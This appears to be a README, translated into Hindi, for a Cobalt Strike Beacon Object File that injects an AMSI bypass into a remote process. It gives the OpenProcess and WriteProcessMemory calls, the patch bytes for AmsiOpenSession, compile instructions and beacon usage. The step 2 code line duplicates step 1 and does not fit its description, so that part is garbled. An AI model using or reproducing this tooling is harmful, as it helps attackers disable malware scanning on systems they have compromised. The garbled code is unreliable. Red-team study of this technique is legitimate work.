Cobalt Strike BOF - Inject AMSI Bypass
Cobalt Strike बीकन ऑब्जेक्ट फ़ाइल (BOF) जो कोड इंजेक्शन के साथ रिमोट प्रक्रिया में AMSI को बायपास करती है।
CobaltStrike से inject-amsiBypass BOF चलाना

यह क्या करता है?
1. रिमोट प्रक्रिया पर हैंडल प्राप्त करने के लिए दिए गए PID तर्क का उपयोग करें
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
2. बीकन की मेमोरी में AMSI.DLL लोड करें और AMSI.AmsiOpenSession का पता प्राप्त करें
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
- बीकन और लक्ष्य प्रक्रिया दोनों के पास प्रतीक के लिए समान पता होगा।
- यदि रिमोट प्रक्रिया में AMSI.DLL मौजूद नहीं है, तो इसे चलाने से लक्ष्य प्रक्रिया क्रैश हो सकती है।
3. AMSI बायपास को रिमोट प्रक्रिया की मेमोरी में लिखें
unsigned char amsibypass[] = { 0x48, 0x31, 0xC0 }; // xor rax, rax
BOOL success = KERNEL32$WriteProcessMemory(hProc, amsiOpenSessAddr, (PVOID)amsibypass, sizeof(amsibypass), &bytesWritten);
विधि = AMSI.AmsiOpenSession
- Offensive Security के PEN-300/OSEP (एवेज़न तकनीक और बचाव भेदन) पाठ्यक्रम में सिखाई गई AMSI बायपास तकनीक का उपयोग करता है।
प्रूफ ऑफ कॉन्सेप्ट डेमो स्क्रीनशॉट
पहले - Powershell.exe AMSI.AmsiOpenSession

बाद में - Powershell.exe AMSI.AmsiOpenSession

x64 MinGW के साथ संकलन:
x86_64-w64-mingw32-gcc -c inject-amsiBypass.c -o inject-amsiBypass.o
Cobalt Strike बीकन कंसोल से चलाएं
beacon> inject-amsiBypass <PID>
- inject-amsiBypass.cna स्क्रिप्ट को Cobalt Strikes स्क्रिप्ट मैनेजर में लोड करना सुनिश्चित करें
करने की सूची
- इंजेक्शन से पहले जांचें कि रिमोट प्रक्रिया में AMSI.DLL मौजूद है या नहीं
- इंजेक्ट करने के लिए अन्य AMSI बायपास जोड़ें
- x86 का समर्थन करें
क्रेडिट / संदर्भ
Raphael Mudge - बीकन ऑब्जेक्ट फ़ाइलें - Luser डेमो
Cobalt Strike - बीकन ऑब्जेक्ट फ़ाइलें
BOF कोड संदर्भ
ajpc500/BOFs
trustedsec/CS-Situational-Awareness-BOF
Sektor7 मैलवेयर डेवलपमेंट एसेंशियल्स पाठ्यक्रम
Offensive Security OSEP